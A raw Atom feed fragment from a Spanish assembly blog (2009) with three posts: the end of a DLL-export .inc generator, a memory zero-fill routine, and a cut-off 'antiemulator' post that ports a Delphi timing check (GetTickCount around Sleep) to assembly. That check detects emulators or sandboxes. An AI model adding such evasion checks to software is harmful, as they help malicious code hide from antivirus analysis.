51);"&gt;,&lt;/span&gt; NULL&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"'"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Funcion&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Funcion&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"'"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"',\"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; espacio&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; Nosirve&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; NULL&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;HFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"cls"&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Extraida las funciones de: "&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaLib&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"El include ah sido generado en : "&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RutaINC&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Con "&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%d"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;NumberOfNames&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;" funciones extraidas."&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"pause"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Error&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"cls"&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Ocurrio un error durante la extracciòn."&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;espacio&lt;br&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"pause"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start &amp;nbsp; &amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-1339745675076508441?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/1339745675076508441/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=1339745675076508441&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/1339745675076508441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/1339745675076508441'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/04/codigo-creador-de-inc.html' title='Codigo creador de *.inc'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-3332076915044538938</id><published>2009-04-16T17:22:00.000-07:00</published><updated>2009-04-16T17:24:38.439-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Zerar</title><content type='html'>Rellena de ceros una posición.&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;&lt;br /&gt;proc&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Puntero&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Cantidad&lt;br /&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;           &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;              &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Puntero&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;loop&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-3332076915044538938?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/3332076915044538938/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=3332076915044538938&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3332076915044538938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/3332076915044538938'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/04/zerar.html' title='Zerar'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-4057722458722574752</id><published>2009-04-16T17:03:00.000-07:00</published><updated>2009-04-16T17:05:57.557-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>antiemulator</title><content type='html'>Hola ,  decidi pasar la función AntiEmulaters desarrollada por ChainCoder en el lenguaje de programación delphi a ASM , espero que les sirva&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Codigo original:&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Function&lt;/span&gt; AntiEmulaters&lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102); font-weight: bold;"&gt;Boolean&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Var&lt;/span&gt;&lt;br /&gt;UpTime            &lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102); font-weight: bold;"&gt;DWORD&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt;UpTimeAfterSleep  &lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102); font-weight: bold;"&gt;Dword&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Begin&lt;/span&gt;&lt;br /&gt; UpTime  &lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;=&lt;/span&gt; GetTickCount&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 0, 102);"&gt;Sleep&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;Strtoint&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'5'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'0'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt; UpTimeAfterSleep &lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;=&lt;/span&gt; GetTickCount&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 102);"&gt;(&lt;/span&gt; UpTimeAfterSleep &lt;span style="color: rgb(0, 0, 102);"&gt;-&lt;/span&gt; UpTime &lt;span style="color: rgb(0, 0, 102);"&gt;)&lt;/span&gt; &amp;lt; &lt;span style="color: rgb(0, 0, 255);"&gt;500&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Then&lt;/span&gt;&lt;br /&gt; Result&lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;True&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;Else&lt;/span&gt; Result&lt;span style="color: rgb(0, 0, 102);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;False&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Codigo traducido:&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;br /&gt;antiemulator&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetTickCount&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;br /&gt;xor ecx,ecx&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;250&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mul&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SleepEx&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 